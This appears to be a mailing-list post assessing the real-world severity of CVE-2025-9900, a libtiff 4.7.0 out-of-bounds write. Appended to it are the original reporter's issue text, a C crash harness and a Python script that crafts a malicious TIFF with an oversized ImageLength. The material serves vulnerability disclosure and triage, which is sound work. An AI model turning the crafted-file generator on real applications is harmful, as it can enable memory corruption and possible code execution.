Hi,

on 2025-09-23 CVE-2025-9900 was published for libtiff 4.7.0 and it seems to have gained some traction due to the potential risk of code execution via malicious TIFF files. I was wondering about the real world criticality for software which uses libtiff. I did some investigation and I'm looking for validation or falsification of those findings.

# Background
According to the CVE details, the CVE is about an advisory [1] by Github user SexyShoelessGodofWar. Further research turns up Issue #704 in the Gitlab libtiff issue tracker [2] from 2025-05-14 which also contains a reproducer (attached testGen.py and poc_crasher.c) and links the relevant patch [3].

# Observations
1. poc_crasher.c calls libtiff's TIFFReadRGBAImage with width and height values which are smaller then the actual TIFF dimensions when an image with width or height > 10000 is supplied. Based on the libtiff API documentation, this is a supported use case ("If the raster dimensions are smaller than the image, the image data is cropped to the raster bounds." [4]). 2. The test file (generated via testGen.py) does not show any obviously suspicious behavior when loaded in GIMP, imagemagick or evince. I have not checked all possible call sites, but I believe that at least those listed tools always call the affected function TIFFReadRGBAImage with the actual TIFF's dimensions and as such don't hit the bug. SexyShoelessGodofWar also confirmed that Evince did not seem affected and that other tools are still under investigation. 3. When loading a plain 1024x768 sized TIFF file (generated via GIMP), libtiff exhibits the same value when passed height=256. This suggests that the actual libtiff usage is very relevant and the potentially malicious TIFF file maybe less so.

# Fixes
Besides Merge Request 732 [3], Merge Request 738 [6] also touches this code path and may be relevant. libtiff 4.7.1 was released on 2025-09-18 and lists Issue #704 (this CVE) as fixed [7].


# First conclusion
Based on my understanding, libtiff users would only be affected by this issue under specific circumstances. The issue would be limited to libtiff users which call TIFFReadRGBAImage or TIFFReadRGBAImageOriented with a smaller height than the actual TIFF's height (i.e. cropping the image on read). For example, this would be exploitable if an application used a static or attacker-supplied height which is smaller than the height of the attacker-supplied TIFF. My gut feeling is that this should not be common (especially since this would crash during ordinary usage), but it's hard for me to tell if this matches reality. I currently do not see a way for an attacker to confuse libtiff into returning a small height to the libtiff user and later use a larger height from the same TIFF file internally.


Note:
- I do not want to downplay the issue. There seems to be an actual bug and it may be security-relevant in more cases than I can think of. I'm posting this to start a potential discussion about that. - I'm not affiliated with the researcher, I'm just sharing my findings and observations in the hope that they help libtiff downstream users and in the hope that further confirmation or falisification of those findings appear.


Kind regards,
Christian


[1] https://github.com/SexyShoelessGodofWar/LibTiff-4.7.0-Write-What-Where?tab=readme-ov-file [2] https://gitlab.com/libtiff/libtiff/-/issues/704 (libtiff-gitlab-issue-704.txt)
[3] https://gitlab.com/libtiff/libtiff/-/merge_requests/732
[4] https://gitlab.com/libtiff/libtiff/-/blob/5fe20d0e9aba49a6a350ed533459d1505203838f/doc/functions/TIFFReadRGBAImage.rst

[5] https://github.com/SexyShoelessGodofWar/LibTiff-4.7.0-Write-What-Where/issues/1#issuecomment-3335973158
> I had caused crashes in one application (but interestingly I recall,
> it was through memory exhaustion), but further investigation was
> earmarked for future work - I've not really looked more deeply into
> this. Some of the other applications i'd tried. Evince was one of
> them, and that didn't crash - this is generally just due to some pre-
> processing of the file or additional checks that sit infront of the
> vulnerable code path. I speculate a little here, but am pretty certain
> this will be the mitigating factor.

[6] https://gitlab.com/libtiff/libtiff/-/merge_requests/738

[7] https://libtiff.gitlab.io/libtiff/releases/v4.7.1.html
> tif_getimage.c: Fix buffer underflow crash for less raster rows
> at TIFFReadRGBAImageOriented() (fixes issue #704)

Vendor CVE pages:
https://access.redhat.com/security/cve/cve-2025-9900
https://www.suse.com/security/cve/CVE-2025-9900.html
https://ubuntu.com/security/CVE-2025-9900
https://security-tracker.debian.org/tracker/CVE-2025-9900
#include <tiffio.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Memory stream backend for TIFFClientOpen
typedef struct {
    const uint8_t *data;
    size_t size;
    size_t pos;
} memstream_t;

tsize_t read_proc(thandle_t handle, tdata_t buf, tsize_t size) {
    memstream_t *stream = (memstream_t *)handle;
    if (stream->pos + size > stream->size)
        size = stream->size - stream->pos;
    memcpy(buf, stream->data + stream->pos, size);
    stream->pos += size;
    return size;
}

toff_t seek_proc(thandle_t handle, toff_t offset, int whence) {
    memstream_t *stream = (memstream_t *)handle;
    size_t new_pos;

    switch (whence) {
        case SEEK_SET: new_pos = offset; break;
        case SEEK_CUR: new_pos = stream->pos + offset; break;
        case SEEK_END: new_pos = stream->size + offset; break;
        default: return (toff_t)-1;
    }

    if (new_pos > stream->size) return (toff_t)-1;
    stream->pos = new_pos;
    return stream->pos;
}

tsize_t write_proc(thandle_t handle, tdata_t buf, tsize_t size) { return 0; }
int close_proc(thandle_t handle) { return 0; }
toff_t size_proc(thandle_t handle) {
    memstream_t *stream = (memstream_t *)handle;
    return stream->size;
}
int map_proc(thandle_t handle, tdata_t *base, toff_t *size) { return 0; }
void unmap_proc(thandle_t handle, tdata_t base, toff_t size) {}

int main(int argc, char **argv) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <input_file>\n", argv[0]);
        return 1;
    }

    FILE *fp = fopen(argv[1], "rb");
    if (!fp) return 1;

    fseek(fp, 0, SEEK_END);
    size_t size = ftell(fp);
    fseek(fp, 0, SEEK_SET);

    uint8_t *buf = malloc(size);
    if (!buf) {
        fclose(fp);
        return 1;
    }

    fread(buf, 1, size, fp);
    fclose(fp);

    memstream_t stream = { .data = buf, .size = size, .pos = 0 };

    // DO NOT set custom handlers; use defaults to avoid misuse
    TIFF *tif = TIFFClientOpen("mem", "r",
                               (thandle_t)&stream,
                               read_proc, write_proc, seek_proc,
                               close_proc, size_proc, map_proc, unmap_proc);

    if (tif) {
        uint32_t w = 0, h = 0;
        TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &w);
        TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &h);

        // Use fallback size if width/height missing
        if (w == 0 || h == 0 || w > 10000 || h > 10000) {
            w = 256;
            h = 256;
        }

        size_t npixels = (size_t)w * h;
        uint32_t *raster = (uint32_t *)_TIFFmalloc(npixels * sizeof(uint32_t));
        if (raster) {
            TIFFReadRGBAImage(tif, w, h, raster, 0);  // Trigger decoding paths
            _TIFFfree(raster);
        }

        TIFFClose(tif);
    }

    free(buf);
    return 0;
}

from PIL import Image, TiffImagePlugin
import numpy as np

# Create a 256x256 paletted image with a single color
img = Image.new("P", (256, 256))
pixels = np.zeros((256, 256), dtype=np.uint8)
pixels[:, :] = 0x01  # index into palette
img.putdata(pixels.flatten())

# Create a palette with one entry set to a known value (0x41 == 'A')
palette = []
for i in range(256):
    if i == 0x01:
        palette += [0x41, 0x41, 0x41]  # R, G, B
    else:
        palette += [0x00, 0x00, 0x00]
img.putpalette(palette)

# Patch TIFF tags to force a large img.height => write beyond bounds
info = TiffImagePlugin.ImageFileDirectory_v2()
info[256] = 256  # ImageWidth
info[257] = 0xFFFF  # ImageLength (very high, to overflow)
info[258] = 8     # BitsPerSample
info[259] = 1     # Compression (no compression)
info[262] = 3     # PhotometricInterpretation = Palette
info[273] = (8,)  # StripOffsets (point to where actual pixel data is)
info[277] = 1     # SamplesPerPixel
info[278] = 1     # RowsPerStrip
info[279] = (256,)  # StripByteCounts

# Save the crafted TIFF
output_path = "weaponized_poc.tiff"
img.save(output_path, format="TIFF", tiffinfo=info)

output_path

Vulnerability Summary

Write-What-Where in libtiff via TIFFReadRGBAImageOriented

The vulnerability resides in the raster decoding logic of libtiff, specifically 
when processing paletted (indexed color) images with malformed metadata. The 
function TIFFReadRGBAImageOriented() computes a pointer offset into the raster 
buffer based on user-controlled image metadata:

raster + (rheight - img.height) * rwidth

If the attacker supplies a very large value for img.height (e.g., 0xFFFF) and a 
valid rheight (e.g., 256), this computation results in a large positive offset, 
causing the raster pointer (cp) passed into functions like put8bitcmaptile() or 
put1bitbwtile() to point beyond the bounds of the allocated buffer.

Inside those functions, memory writes occur like this:

*cp++ = PALmap[*pp][0];

• The write address (cp) is attacker-controlled via the offset calculation from 
img.height.
• The value written (PALmap[*pp][0]) is also attacker-controlled:
    ◦ *pp is dereferenced from pixel data in the image file.
    ◦ PALmap is constructed from the image's color palette, which the attacker 
also controls.

This constitutes a write-what-where vulnerability with a attacker control. 
Exploitation of a write-what-where primitive can lead to denial of service or 
code execution through supply of maliciously crafted files.

Version

4.7.0

Steps to reproduce

    COmpile harness.c clang -O0 -g   -Ilibtiff -Ibuild-clean   -o 
tiff_poc_crasher poc_crasher.c build-clean/libtiff/libtiff.a -lz -lzstd -lwebp 
-lwebpdemux -ldeflate -llzma -ljpeg -lm -ljbig -lLerc

    ./tiff_fuzz_clean ./crashfile1.tiff

This should create a seg fault.

The Code POC and tiff files are attached - as are the python files to generate 
a malicious one.

Note: testGen.py will generate a crash .tiff file. (i'm unable to upload the 
.tiff file)

I originally created this as a confidential issue - but didn't seem to have any 
eyes on it.

Platform

This was tested on: Distributor ID: Ubuntu Description: Ubuntu 24.04.2 LTS 
Release: 24.04 Codename: noble

Request: I will request a CVE for this. Once this is resolved and fixed I wish 
to replicate the PoC on my github: 
https://github.com/SexyShoelessGodofWarpoc_crasher.ctestGen.py

Here is a screenshot, showing the appropriate information on crash. It shows 
the code location, the offending assembly instruction and the control of R15d 
and RSI image

Notes

If there's anything else I can help with, please let me know. I can provide 
more information, as needed or answer any other questions.

Thanks! Gareth

Reply via email to